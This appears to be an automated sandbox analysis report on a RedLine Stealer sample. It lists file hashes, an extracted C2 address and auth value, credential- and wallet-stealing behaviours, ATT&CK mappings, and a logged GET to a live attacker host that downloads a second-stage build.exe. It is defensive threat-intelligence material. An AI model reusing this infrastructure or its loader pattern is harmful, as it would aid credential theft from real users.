redline | 0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11

General

Target

0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe
Size

361KB
MD5

b6608633aed154db58c9430b6e4d26c5
SHA1

9b9d0d7cb57b48b8e6db6c8fb292e5322f19dec9
SHA256

0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11
SHA512

58408b452f99eb74ab7443e8946e45f6bce62c57cef11de0e2fa9123b17d859dcf5edc8a3637d623e4f54790079cad6bf4baf86e9942649f4dc60e059af4e550
SSDEEP

6144:eEaXBUcN2BRrn1fH0N6GkBut5adsSEK69yDPhSjYlakxjTLVqoARRSTZAPdg+:/aRDNoVJKRtUdsSEK69yDPhSjYlakxjv

Score

10^/10

redline 0002 discovery infostealer spyware stealer

Malware Config

Extracted

Family

redline

Botnet

0002

C2

13.72.81.58:13413

Attributes

auth_value
866ce0ed8cfe2be77fb43a4912677698

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 5 IoCs

resource	yara_rule
behavioral1/memory/752-54-0x0000000000800000-0x0000000000860000-memory.dmp	family_redline
behavioral1/files/0x00090000000122f1-59.dat	family_redline
behavioral1/files/0x00090000000122f1-57.dat	family_redline
behavioral1/files/0x00090000000122f1-60.dat	family_redline
behavioral1/memory/1944-61-0x0000000000CB0000-0x0000000000D10000-memory.dmp	family_redline

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1944	build.exe

Loads dropped DLL 1 IoCs

pid	Process
752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe
752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe
1944	build.exe
1944	build.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe
Token: SeDebugPrivilege	1944	build.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 1944	752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe	28
PID 752 wrote to memory of 1944	752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe	28
PID 752 wrote to memory of 1944	752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe	28
PID 752 wrote to memory of 1944	752	0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe	28

C:\Users\Admin\AppData\Local\Temp\0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe
"C:\Users\Admin\AppData\Local\Temp\0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:752
- C:\Users\Admin\AppData\Local\Temp\build.exe
  "C:\Users\Admin\AppData\Local\Temp\build.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1944

Network

GET

http://13.72.81.58:7766/build.exe

0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe

Remote address:

13.72.81.58:7766

Request

GET /build.exe HTTP/1.1
Host: 13.72.81.58:7766
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Transfer-Encoding: chunked
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 25 Sep 2022 11:32:35 GMT

13.72.81.58:13413

0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe

4.9MB
74.8kB
3366
1692
13.72.81.58:7766

http://13.72.81.58:7766/build.exe

http

0bd647c00f31729fba742100e5c344b88f853ed6e96fde093a3102f28cc54d11.exe

6.6kB
383.4kB
142
277

HTTP Request

GET http://13.72.81.58:7766/build.exe

HTTP Response

200
13.72.81.58:13413

build.exe

4.9MB
74.5kB
3360
1696

No results found

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\build.exe

Filesize
362KB

MD5
37e39c732e3ec7e26743440e8986e2b0

SHA1
9637244713aeb6150e123b7d4472114c8bb0e4fa

SHA256
b5be007ac6b33d768841aa988ecb6efec133d1765b74bc9ccb516310b9c9ce7c

SHA512
7837285fee875c3572110a3ec3aad336f12f320e4d72607dd7d0f7c2669c0694daee7ecea0d4ffe1e36bca59783f0d0cd929f69d2107f567221e1e74d43f76eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\build.exe

Filesize
362KB

MD5
37e39c732e3ec7e26743440e8986e2b0

SHA1
9637244713aeb6150e123b7d4472114c8bb0e4fa

SHA256
b5be007ac6b33d768841aa988ecb6efec133d1765b74bc9ccb516310b9c9ce7c

SHA512
7837285fee875c3572110a3ec3aad336f12f320e4d72607dd7d0f7c2669c0694daee7ecea0d4ffe1e36bca59783f0d0cd929f69d2107f567221e1e74d43f76eb

Download Submit
\Users\Admin\AppData\Local\Temp\build.exe

Filesize
362KB

MD5
37e39c732e3ec7e26743440e8986e2b0

SHA1
9637244713aeb6150e123b7d4472114c8bb0e4fa

SHA256
b5be007ac6b33d768841aa988ecb6efec133d1765b74bc9ccb516310b9c9ce7c

SHA512
7837285fee875c3572110a3ec3aad336f12f320e4d72607dd7d0f7c2669c0694daee7ecea0d4ffe1e36bca59783f0d0cd929f69d2107f567221e1e74d43f76eb

Download Submit
memory/752-54-0x0000000000800000-0x0000000000860000-memory.dmp

Filesize
384KB

Download
memory/752-55-0x00000000003B0000-0x00000000003B6000-memory.dmp

Filesize
24KB

Download
memory/752-56-0x0000000075841000-0x0000000075843000-memory.dmp

Filesize
8KB

Download
memory/1944-61-0x0000000000CB0000-0x0000000000D10000-memory.dmp

Filesize
384KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

MITRE ATT&CK Enterprise v6

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Downloads

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